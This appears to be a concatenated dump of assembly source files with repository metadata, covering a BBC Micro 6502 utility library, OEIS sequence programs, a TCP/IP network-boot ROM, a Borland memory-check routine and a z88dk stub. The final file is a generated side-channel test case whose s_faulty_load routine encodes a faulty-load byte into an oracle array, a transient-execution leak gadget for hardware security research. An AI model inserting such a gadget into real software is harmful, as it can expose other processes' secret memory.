.XOSCLI_vect JMP XOSCLI
\ Machine code part of the FNmemcmp function
.memcmp
PHA:PHA
LDA zp+6:PHA
LDA zp+5:PHA:LDA zp+4:PHA
LDA zp+3:PHA:LDA zp+2:PHA
LDA zp+1:PHA:LDA zp:PHA
STX zp:STY zp+1
LDY #0:LDA (zp),Y:STA zp+2
INY:LDA (zp),Y:STA zp+3
INY:LDA (zp),Y:STA zp+4
INY:LDA (zp),Y:STA zp+5
INY:LDA (zp),Y:TAX:INX
INY:LDA (zp),Y:TAY:INY:STY zp+6
LDY #0
.mc1
DEX:BEQ mc4
.mc3
LDA (zp+2),Y
CMP (zp+4),Y:BNE mc2
INY:BNE mc1:INC zp+3:INC zp+5
JMP mc1
.mc4
DEC zp+6:BNE mc3
.mc2
PHP:LDY zp+6:DEY:DEX:TXA:TSX:STA stack+9,X
PLA:AND #2:LSR A:EOR #1:STA stack+10,X
PLA:STA zp:PLA:STA zp+1
PLA:STA zp+2:PLA:STA zp+3
PLA:STA zp+4:PLA:STA zp+5
PLA:STA zp+6
PLA:TAX:PLA
.exec
RTS
.memset
LDA zp+5:PHA:LDA zp+4:PHA
LDA zp+3:PHA:LDA zp+2:PHA
LDA zp+1:PHA:LDA zp:PHA
STX zp:STY zp+1
LDY #0:LDA (zp),Y:STA zp+2
INY:LDA (zp),Y:STA zp+3
INY:INY:LDA (zp),Y:TAX:INX
INY:LDA (zp),Y:TAY:INY:STY zp+4
LDY #2:LDA (zp),Y
LDY #0
.ms1
DEX:BEQ ms2
STA (zp+2),Y
INY:BNE ms1:INC zp+2
JMP ms1
.ms2
DEC zp+4:BNE ms1
PLA:STA zp:PLA:STA zp+1
PLA:STA zp+2:PLA:STA zp+3
PLA:STA zp+4:PLA:STA zp+5
RTS
\ Display byte as hexadecimal
.hbyte
PHA:LSR A:LSR A:LSR A:LSR A
JSR hb1:PLA
.hb1
PHA:AND #&F
CMP #10:BCC P%+4:ADC #6
ADC #&30:JSR osasci
PLA:RTS
\ Display long hexadecimal number
.hnum
PHA
LDA &81:PHA:LDA &80:PHA
STX &80:STY &81
TSX:LDA &0103,X:TAY
.hn1
DEY:BMI hn2
LDA (&80),Y:JSR hbyte
JMP hn1
.hn2
LDY &81:LDX &80
PLA:STA &80:PLA:STA &81
PLA:RTS
\ Display string of hex bytes
.hbytes
PHA
LDA &82:PHA:LDA &81:PHA:LDA &80:PHA
STX &80:STY &81
TSX:LDA stack+4,X
CMP #0:BEQ hbs2
STA &82
LDY #0
.hbs1
LDA (&80),Y:JSR hbyte
INY:CPY &82:BEQ hbs2
LDA #32:JSR osasci
JMP hbs1
.hbs2
LDY &81:LDX &80
PLA:STA &80:PLA:STA &81:PLA:STA &82
PLA:RTS
\ Display ascii chars or "." if not readable
.hascii
PHA
LDA &82:PHA:LDA &81:PHA:LDA &80:PHA
STX &80:STY &81
TSX:LDA stack+4,X
STA &82
LDY #0
.ha1
CPY &82:BEQ ha4
LDA (&80),Y
CMP #32:BCC ha2
CMP #127:BCC ha3
.ha2
LDA #'.'
.ha3
JSR osasci
INY:BNE ha1
.ha4
LDY &81:LDX &80
PLA:STA &80:PLA:STA &81:PLA:STA &82
PLA:RTS
\ Print space
.spc
PHA:LDA #32:JSR osasci:PLA:RTS
\ Print number of spaces
.spcs
CPX #0:BEQ sp2
.sp1
JSR spc:DEX:BNE sp1
.sp2
RTS
.vaddr EQUD 0
.haddr EQUW 0
.hsize EQUW 0
\ Hexadecimal dump
.hexdump
LDA zp+2:PHA:LDA zp+1:PHA:LDA zp:PHA
STX zp:STY zp+1
LDY #0:LDA (zp),Y:STA vaddr
INY:LDA (zp),Y:STA vaddr+1
INY:LDA (zp),Y:STA vaddr+2
INY:LDA (zp),Y:STA vaddr+3
INY:LDA (zp),Y:STA haddr
INY:LDA (zp),Y:STA haddr+1
INY:LDA (zp),Y:STA hsize
INY:LDA (zp),Y:STA hsize+1
.hd1
LDY #8
LDA hsize+1:BNE hd3
LDA hsize:BNE hd2
PLA:STA zp:PLA:STA zp+1:PLA:STA zp+2
RTS
.hd2
CMP #8:BCS hd3
TAY
.hd3
STY zp+2
LDY #vaddr DIV 256:LDX #vaddr AND 255
LDA #3
JSR hnum
JSR spc
LDY haddr+1:LDX haddr:LDA zp+2
JSR hbytes
SEC
LDA #25:SBC zp+2:SBC zp+2:SBC zp+2
TAX
JSR spcs
LDY haddr+1:LDX haddr:LDA zp+2
JSR hascii
SEC
LDA #8:SBC zp+2
TAX
JSR spcs
LDA #&D:JSR osasci
SEC
LDA hsize:SBC zp+2:STA hsize
BCS P%+5:DEC hsize+1
CLC
LDA haddr:ADC zp+2:STA haddr
BCC P%+5:INC haddr+1
CLC
LDA vaddr:ADC zp+2:STA vaddr
BCC hd4:INC vaddr+1
BNE hd4:INC vaddr+2
BNE hd4:INC vaddr+3
.hd4
JMP hd1
\ Print string from ROM A at address (&F6)
.printrom_str
PHA
TAY
JSR osrdrm
INC &F6
CMP #0
BEQ prs1
CMP #32
BCC prs1
CMP #127
BCS prs1
JSR osasci
PLA
JMP printrom_str
.prs1
PLA
RTS
\ Print " / "
.sep
PHA
LDA #'/'
JSR osasci
PLA
RTS
\ Print ROM title, version and copyright
.printrom
LDA #'(':JSR osasci
TXA
JSR hb1
LDA #')':JSR osasci
JSR spc
LDA &02A1,X
BEQ pr2
JSR spc
JSR spc
JSR spc
JMP pr3
.pr2
LDA #'O'
JSR osasci
LDA #'F'
JSR osasci
JSR osasci
.pr3
JSR spc
LDA &F6:PHA
LDA &F7:PHA
LDA &80:PHA
LDA #&80:STA &F7
LDA #&07:STA &F6
TXA
PHA
TAY
JSR osrdrm
STA &80
LDA #&09:STA &F6
PLA
JSR printrom_str
LDX &80
INX
CPX &F6
BEQ pr1
JSR sep
JSR printrom_str
.pr1
JSR sep
JSR printrom_str
LDA #13
JSR osasci
PLA:STA &80
PLA:STA &F7
PLA:STA &F6
RTS
.oldSP EQUB 0
\ Based on beebwiki.mdfs.net/Catching_errors
.xos_call
PHA:TXA:PHA
LDA fx200:PHA
LDA brkv+1:PHA:LDA brkv:PHA
LDA oldSP:PHA:TSX:STX oldSP
LDA #0:STA fx200
LDA #error DIV 256:STA brkv+1
LDA #error AND 255:STA brkv
LDA #(return-1)DIV 256:PHA
LDA #(return-1)AND 255:PHA
PHA:PHA:PHA:PHA
LDA zp+1:PHA:LDA zp:PHA:CLC
LDA stack+7,X:STA zp:ADC #2:STA stack+7,X
LDA stack+8,X:STA zp+1:ADC #0:STA stack+8,X
TYA:PHA:TSX
LDY #2:LDA (zp),Y:STA stack+7,X
DEY:LDA (zp),Y:STA stack+6,X
LDA stack+15,X:STA stack+5,X
LDA stack+14,X:STA stack+4,X
\ Stack holds Y, zp, X, A, oscall, ret, oldSP, oldbrkv, oldfx200, X, A, main
PLA:TAY:PLA:STA zp:PLA:STA zp+1
PLA:TAX:PLA:PHP
RTI
\ Normal return from os call
\ Stack holds oldSP, oldbrkv, X, A, main
.return
BIT escf:BMI escape:
PHA:TXA:TSX:STA stack+6,X
PLA:STA stack+6,X
PLA:STA oldSP
PLA:STA brkv:PLA:STA brkv+1:PLA:STA fx200
PLA:TAX:PLA
CLV:RTS
\ Escape captured
.escape
BRK
EQUB &11
EQUD &61637345 \ "Escape"
EQUD &00004570
\ Error return from os call
.error
LDX oldSP:TXS:PLA:STA oldSP
PLA:STA brkv:PLA:STA brkv+1:PLA:STA fx200
PLA:PLA:LDY #0:STY escf:LDA (&FD),Y
BIT P%-1:RTS
\ Call OSBYTE and catch errors
.XOSBYTE
JSR xos_call:EQUW osbyte:RTS
\ Call OSWORD and catch errors
.XOSWORD
JSR xos_call:EQUW osword:RTS
\ Call OSCLI and catch errors
.XOSCLI
JSR xos_call:EQUW oscli
BVS P%+4:LDA #&0
RTS
\ Get address of variable
.addrof
LDA &600:CMP #2:BNE ad3
LDA &603:CMP #4:BNE ad3
LDA &606:CMP #129:BEQ ad2
LDX &604:LDY &605
.ad1
LDA &81:PHA:LDA &80:PHA
LDA &601:STA &80
LDA &602:STA &81
TYA:LDY #1:STA (&80),Y
TXA:DEY:STA (&80),Y
PLA:STA &80:PLA:STA &81
RTS
.ad2
LDA &81:PHA
LDA &80:PHA
LDA &604:STA &80
LDA &605:STA &81
LDY #0:LDA (&80),Y:TAX
INY:LDA (&80),Y:TAY
PLA:STA &80
PLA:STA &81
JMP ad1
.ad3
BRK
EQUB 31
EQUS "Arguments", 0
.end
SAVE "M.BU_LIB", MC%, end, exec
PUTBASIC "butil.bbas", "BUTIL"
PUTTEXT "!boot", "!BOOT", 0
| 18.07971 | 77 | 0.610154 |
5fa58db12f22f34dd00b54386917b641f59944a6 | 465 | asm | Assembly | oeis/176/A176775.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/176/A176775.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/176/A176775.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A176775: Index of n as m-gonal number for the smallest possible m (=A176774(n)).
; Submitted by Jamie Morken(s4)
; 2,2,2,3,2,2,3,4,2,3,2,2,5,4,2,3,2,2,6,4,2,3,5,2,3,7,2,3,2,2,3,4,5,8,2,2,3,4,2,3,2,2,9,4,2,3,7,2,6,4,2,3,10,2,3,4,2,3,2,2,3,8,5,11,2,2,3,7,2,3,2,2,5,4,2,12,2,2,9,4,2,3,5,2,3,4,2,3,13,8,3,4,5,6,2,2,3,10,2,3
mov $1,$0
lpb $1
add $2,1
mov $3,$1
add $3,2
lpb $2
bin $3,$1
bin $1,$0
dif $2,$3
lpe
sub $1,1
lpe
mov $0,$1
add $0,2
| 24.473684 | 206 | 0.544086 |
988b02bd57e1d08847ad720744c0e827ea9d526b | 693 | asm | Assembly | oeis/333/A333572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/333/A333572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/333/A333572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A333572: a(n) is the number of Gaussian integers z with 0 < |z| <= n/2.
; Submitted by Christian Krause
; 0,4,8,12,20,28,36,48,68,80,96,112,136,148,176,196,224,252,292,316,348,376,420,440,488,528,576,612,664,708,748,796,860,900,972,1008,1084,1128,1200,1256,1312,1372,1456,1516,1596,1652,1740,1792,1884,1960,2052,2120,2216,2288,2376,2452,2560,2628,2732,2820,2932,3000,3124,3208,3312,3408,3520,3624,3744,3852,3968,4052,4196,4292,4420,4512,4668,4776,4904,5024,5168,5260,5416,5524,5680,5788,5956,6076,6220,6360,6508,6624,6784,6920,7088,7212,7392,7524,7704,7844
add $0,1
pow $0,2
div $0,4
seq $0,57655 ; The circle problem: number of points (x,y) in square lattice with x^2 + y^2 <= n.
sub $0,1
| 69.3 | 452 | 0.734488 |
b4e7a9dc5fe36875b7b7db03ee4d0909d95cea0f | 10,454 | asm | Assembly | base/remoteboot/bootfloppy/src/bootware/tcpip/ipnid.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/remoteboot/bootfloppy/src/bootware/tcpip/ipnid.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/remoteboot/bootfloppy/src/bootware/tcpip/ipnid.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | ;====================================================================
; BOOTPNID.ASM - Generic code for BootWare for TCP/IP
;
; Includes the file IPCODE.ASM which contains the real TCP/IP code.
;
; Copyright 1993-98 Lanworks Technologies
;
; Revision history:
;
;$History: IPNID.ASM $
;
; ***************** Version 5 *****************
; User: Paul Cowan Date: 7/20/98 Time: 17:23
; Updated in $/Client Boot/BW98/BootWare/TCPIP
; Added config.inc include
;
; ***************** Version 4 *****************
; User: Paul Cowan Date: 7/13/98 Time: 11:28
; Updated in $/Client Boot/BW98/BootWare/TCPIP
; Added a CS: override in the INT2F handler.
;
; 980408 3.0 PC - BootWare98 version
; - complete rewrite to use UDP & TFTP APIs in AI
; - supports TFTP large block size
; - supports BINL
; 970814 2.1 PC - added INT2F memory protection if not disengaging
; 970310 2.0 PC - major reworking:
; - uses new AI layer
; - changed screen layout
; - added disengage checking for new API
; - changed NID/NAD calls to use new jump table
; - removed screen timer
; - removed unneeded "PROTOCOL" and "NOTIMER" conditionals
; - changed printing to "common" functions
; - removed NIDStatus function
; - removed ARP and RARP
; - added reboot on fatal errors and timeouts
; - combined DHCP states into main state loop
; - change to TASM IDEAL mode
; 960806 1.52 GY - BPDATANI.INC doesn't allocate enough data area
; for BPPatch BootP Reply Packet (350 bytes -> 544 bytes)
; 960724 JJ - added support for DHCP
; 960112 1.51 GY - Change year to 96
; - Change TCPStart
; - All ROM should use CRightStr in AUTOSCAN
; - ChgProtBP replaced by TCPStart
; - Move Strings and Global Data to end of file
; 951218 1.50 GY - Paul change CRight_Str to CRightStr
; 951128 1.50 GY - Utilize \ROM\GENR\AUTOSCAN\AUTOSCAN.ASM
; - Take out /dNOAS
; 950913 PC - fixed checksum function which would incorrectly report
; checksum errors on odd sized packets (mainly TFTP error
; packets)
; 950718 1.25 GY - Gbl_RomLocation not updated properly for /dprotocol
; 950201 1.25 GY - Change year to 1995
; 941024 1.25 GY - (BPCODE.INC) Use PrintMessage rather than PrintMsgLoc
; in NIDStatus
; 941021 1.25 GY - drop BWTStatus. No longer print BWTStatus
; 941003 1.24 GY - for /dPROTOCOL rely on NW NID for tx_copyright (CRight_Str)
; - take out /dIBM4694 and all code that setup CX for PrintMsgLoc
; 940808 1.24 GY - Add /dNOTIMER for AT1500 (no space)
; 940805 PC - TFTP gets file name from saved BOOTP packet
; 940804 1.23 GY - move Timer code from BPCODE.INC to here
; 940721 1.23 GY - Add /dIBM4694.
; - Use CUI for Print routines.
; - (BPCODE) Convert all screen output to use CUI
; 940520 1.22 GY - BWTCpyRAM is misused when copying code from ROM to RAM
; 940506 1.22 GY - Add OS/2 support by adding more info in API Table
; and all NID routines are far.
; 940221 1.21 Gy - change year to 1994. Change string to "Centralized
; boot ROM for TCP/IP"
; - Take out Gbl_BIOSMemSize
; 931209 1.21 GY - Use BPCODE.INC version 2.00
; - Use BPDATA.INC. Copy changes from GENERIC.ASM
; 931028 1.2 GY - when calling NADInitialize, the ROMBase at AX is
; wiped out.
; 931026 1.2 GY - use SEGNID.INC rather than DRVSEG.INC
; 931022 1.2 GY - To print message from NADInit, use PrintMax rather than
; Print
; 931012 1.2 GY - replace Gbl_EtherType with BWTEthStd. Gbl_EtherType is
; byte reverse
; - change SetInitState to properly handle "error" condition
; from NADInitialize
; - update ED structure in BootP.INC
; 931011 1.2 GK - reworked to conform to NID/NAD
; 930810 GK - consolidated code into core .include file
; 930714 1.1 PC
; 930412 1.0 PC - first release
;====================================================================
IDEAL
_IDEAL_ = 1
locals
include "..\include\drvseg.inc"
include "..\include\bwnid.inc"
include "..\include\config.inc"
public IPStart
P386
extrn AIAppendCache:near ; AI layer
extrn TxBuffer:byte ; common transmit buffer
extrn AITbl:byte ; BWAPI table address
;extrn BWTable:BWT
extrn Verbose:byte
;====================================================================
; Code segment
;====================================================================
START_CODE
public _TCPIPStart
_TCPIPStart:
IPStart:
jmp TCPIP
; db 'IP*980408*' ; build date
; dw 0300h ; build version
include "tcpip.inc"
include "ipdata.inc" ; include all global data
IPFeature db 0
;--------------------------------------------------------------------
; IPStart
;
; Entry function for BootWare TCP/IP.
;
;--------------------------------------------------------------------
Proc TCPIP
sti ; enable interrupts
mov eax, [BWTable.Settings] ; get current settings
and ax, CFG_PROTOCOL ; keep protocol bits
mov [Protocol], ax ; save setting
call DoBootP
je doneBOOTP
rebootJmp:
jmp Reboot
doneBOOTP:
cmp [Verbose], 0 ; are we in verbose mode?
je noIP ; no
; display the BOOTP server and our assigned IP address
call ShowIPs ; show server & local IPs
noIP:
call TransferFile
jne rebootJmp
;------------------------------------------------------------
; The boot image is now in memory.
;------------------------------------------------------------
call PrintCRLF
sti
cmp [Protocol], IP_BINL ; are we doing TCP/IP BINL?
jne @@notBINL ; no
ret ; return to an upper layer
@@notBINL:
cmp [NoDisengage], 0 ; should we disengage?
je doDisengage ; yes
call SetupInt2F ; setup our Int2F handler
jmp skipDisengage
doDisengage:
call AIDisengage ; call interface to disengage
; mov [BWTAPI], 0
mov [word ptr AITbl-8], 0 ; remove "BWAPI" identifer
skipDisengage:
; and relinquish control to new boot image...
mov ax, 1000h
push ax ; push new code segment
xor ax, ax ; offset to jump to is 0
push ax ; push offset (ax = 0 from above)
mov ax, cs ; put ROM code segment in ax
mov bx, offset BootPkt ; BOOTP packet address in BX
xor cx, cx ; cx = 0
mov dx, offset AITbl ; get address of API table
retf ; far return to new address
endp
OldInt2F dd 0
;--------------------------------------------------------------------
; SetupInt2F
;
;--------------------------------------------------------------------
Proc SetupInt2F
xor ax, ax
mov es, ax ; es = 0
mov ax, offset Int2F ; our INT 2F offset
xchg ax, [es:2Fh*4] ; get/set INT 2F offset
mov [word ptr OldInt2F], ax ; save original offset
mov ax, cs
xchg ax, [es:(2Fh*4)+2] ; get/set INT 2F segment
mov [word ptr OldInt2F+2], ax ; save original segment
ret
endp
;--------------------------------------------------------------------
; Int2F
;
;--------------------------------------------------------------------
Proc Int2F far
jmp short skipString ; explicitly specify short and add NOP
db 90h ; to make sure not optimized out
db 'RPL' ; DOS5 looks for this @ INT2F+3
skipString:
cmp ax, 4A06h ; is this DOS5.0 IO.SYS request?
jz returnBase
cmp [word ptr cs:OldInt2F+2], 0
je intRet ; there was no INT 2F, just iret
jmp [cs:OldInt2F]
returnBase:
mov dx, cs
dec dx
intRet:
iret
endp
;===================================================================
; NID CODE
;===================================================================
include "bootp.asm" ; BOOTP/DHCP code module
include "tftp.asm" ; file transfer code module
;----------------------------------------------------------------------
;----------------------------------------------------------------------
Proc PrintTransferValue
cmp [Verbose], 0 ; are we in verbose mode?
jne @@doIt ; yes
test [PacketNum], 32
jne @@back
mov ax, 0E2Eh
int 10h ; print '.'
ret
@@back:
mov ax, 0E08h
int 10h ; backspace
mov ax, 0E20h
int 10h ; print ' '
mov ax, 0E08h
int 10h ; backspace
ret
@@doIt:
push cx
mov di, offset StringBuffer
mov [byte ptr di], '('
inc di
mov ax, [Counter]
mov cx, 2
call StoDec
mov al, '-'
stosb
mov ax, [PacketNum]
mov cx, 4
call StoDec
mov [word ptr di], 0029h ; print ')'
mov bx, offset StringBuffer
call Print
mov cx, 9
backLoop:
mov ax, 0E08h
int 10h ; backspace
loop backLoop
pop cx
ret
endp
;----------------------------------------------------------------------
; ShowIP
;
; Displays the IP address of a server and the local workstation.
;
; Parameters:
;----------------------------------------------------------------------
Proc ShowIPs
call PrintCRLF
mov bx, offset tx_ServerIP
call Print
mov si, offset ServerIP
call PrintIP ; print servers IP address
call PrintCRLF
mov bx, offset tx_LocalIP
call Print ; Print "Local IP:"
mov si, offset LocalIP
call PrintIP ; print our IP number
call PrintCRLF
cmp [GatewayIP], 0 ; is there a gateway?
je notgate ; no
mov bx, offset tx_Gateway
call Print ; Print "Gateway:"
mov si, offset GatewayIP
call PrintIP ; print our IP number
call PrintCRLF
notGate:
ret
endp
;--------------------------------------------------------------------
; PrintIP
;
; Prints a 4 number period delimited IP address on the screen.
;
; Input:
; si - pointer to IP address
; dx - screen location
;--------------------------------------------------------------------
Proc PrintIP
mov cx, 4
jmp printip2
printIPLoop:
mov ax, 0E2Eh
int 10h ; print '.'
printip2:
lodsb
xor ah, ah
call PrintDecimal
loop printIPLoop
ret
endp
;----------------------------------------------------------------------
; Input bx=ptr error msg
;----------------------------------------------------------------------
Proc PrintError
push bx ; save pointer to error message
call PrintCRLF
mov bx, offset tx_error
call Print
pop bx ; restore pointer to error message
call Print
ret
endp
public _TCPIPEnd
label _TCPIPEnd
END_CODE
end
| 25.435523 | 79 | 0.55022 |
b93c1ce7763220f82ad60e1e35e25f514d34a42b | 2,123 | asm | Assembly | Borland/CBuilder5/Source/RTL/source/memory/memchk.asm | TrevorDArcyEvans/DivingMagpieSoftware | 7ffcfef653b110e514d5db735d11be0aae9953ec | [
"MIT"
] | 1 | 2021-05-27T10:27:25.000Z | 2021-05-27T10:27:25.000Z | Borland/CBuilder5/Source/RTL/source/memory/memchk.asm | TrevorDArcyEvans/Diving-Magpie-Software | 7ffcfef653b110e514d5db735d11be0aae9953ec | [
"MIT"
] | null | null | null | Borland/CBuilder5/Source/RTL/source/memory/memchk.asm | TrevorDArcyEvans/Diving-Magpie-Software | 7ffcfef653b110e514d5db735d11be0aae9953ec | [
"MIT"
] | null | null | null | ;[]-----------------------------------------------------------------[]
;| MEMCHK.ASM -- checks memory for value |
;[]-----------------------------------------------------------------[]
;
; C/C++ Run Time Library - Version 10.0
;
; Copyright (c) 1999, 2000 by Inprise Corporation
; All Rights Reserved.
;
; $Revision: 9.0 $
include RULES.ASI
; Segments Definitions
Header@
;-----------------------------------------------------------------------
;
;Name _memchk - checks memory for value
;
;Usage int _memchk(void *src, int c, size_t n);
;
;Prototype in none
;
;Description Checks that the n bytes of the block pointed to by src
; contain the value c.
;
;Return value If all bytes in the block are the value c, _memchk
; returns 1; otherwise it returns 0.
;
;-----------------------------------------------------------------------
Code_seg@
Func@ _memchk, public, _RTLENTRYF, <pointer src>,<int c>,<int n>
Link@ edi
mov edi,src ; get src
mov ecx,n ; get count
jecxz ret_1 ; if zero, block is ok
mov al,c ; get byte to check
mov ah,al ; copy to ah
mov dx,ax
shl eax,16 ; mov to upper word
mov ax,dx ; get back lower word
mov edx,ecx ; save count
shr ecx,1 ; calculate longword count
shr ecx,1
cld
repe scasd ; scan longwords
jne ret_0 ; found a non-matching byte
mov ecx,edx ; get back count
and ecx,3 ; calculate remainder byte count (0-3)
repe scasb ; scan remaining bytes
jne ret_0 ;
ret_1:
mov eax,1 ; return 1 if block is OK
return:
Unlink@ edi
Return@
ret_0:
xor eax, eax ; return 0 if block is OK
jmp return
EndFunc@ _memchk
Code_EndS@
end
| 29.486111 | 72 | 0.426755 |
448a500d485043c6a2be59daf2ad36c31b812804 | 102 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/remquo.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/remquo.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/remquo.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_math48
PUBLIC _remquo
EXTERN cm48_sdcciy_remquo
defc _remquo = cm48_sdcciy_remquo
| 11.333333 | 33 | 0.852941 |
78bd0d66574f8e7280ee04d46e9bea55a7038c3e | 6,454 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_89.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_89.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_89.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x183af, %rbp
nop
nop
sub %r11, %r11
mov $0x6162636465666768, %r9
movq %r9, %xmm5
and $0xffffffffffffffc0, %rbp
movntdq %xmm5, (%rbp)
sub %r9, %r9
lea addresses_A_ht+0x1d2af, %rdi
add $16043, %r8
movb $0x61, (%rdi)
nop
nop
nop
nop
add $6588, %rbp
lea addresses_UC_ht+0x16caf, %rsi
nop
nop
nop
nop
nop
xor %rdx, %rdx
mov $0x6162636465666768, %r9
movq %r9, %xmm3
vmovups %ymm3, (%rsi)
nop
xor $14384, %rdi
lea addresses_A_ht+0x17eaf, %r8
nop
nop
nop
nop
nop
add $62258, %rdx
movb $0x61, (%r8)
nop
nop
nop
sub $695, %r8
lea addresses_A_ht+0x9c79, %rdi
nop
nop
nop
nop
nop
xor $60338, %rdx
movb $0x61, (%rdi)
nop
nop
inc %rbp
lea addresses_A_ht+0xfa2f, %rsi
lea addresses_D_ht+0xec7f, %rdi
nop
cmp %r11, %r11
mov $49, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_WC_ht+0x11caf, %rsi
lea addresses_normal_ht+0x1e5af, %rdi
nop
nop
add $20132, %rdx
mov $67, %rcx
rep movsq
cmp $21659, %rbp
lea addresses_WC_ht+0x14def, %rsi
nop
nop
nop
nop
and $10996, %rbp
mov (%rsi), %r8w
nop
sub %rbp, %rbp
lea addresses_D_ht+0x184f2, %rsi
lea addresses_D_ht+0x9c6f, %rdi
nop
nop
nop
nop
and %r9, %r9
mov $110, %rcx
rep movsl
nop
nop
and %r11, %r11
lea addresses_A_ht+0x15eaf, %rcx
nop
nop
nop
nop
sub %r9, %r9
mov $0x6162636465666768, %rbp
movq %rbp, (%rcx)
nop
nop
nop
and %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rsi
// Faulty Load
lea addresses_RW+0x12af, %r12
nop
nop
nop
nop
nop
and $45441, %r11
movb (%r12), %r9b
lea oracles, %r12
and $0xff, %r9
shlq $12, %r9
mov (%r12,%r9,1), %r9
pop %rsi
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': True, 'congruent': 8}}
{'32': 21829}
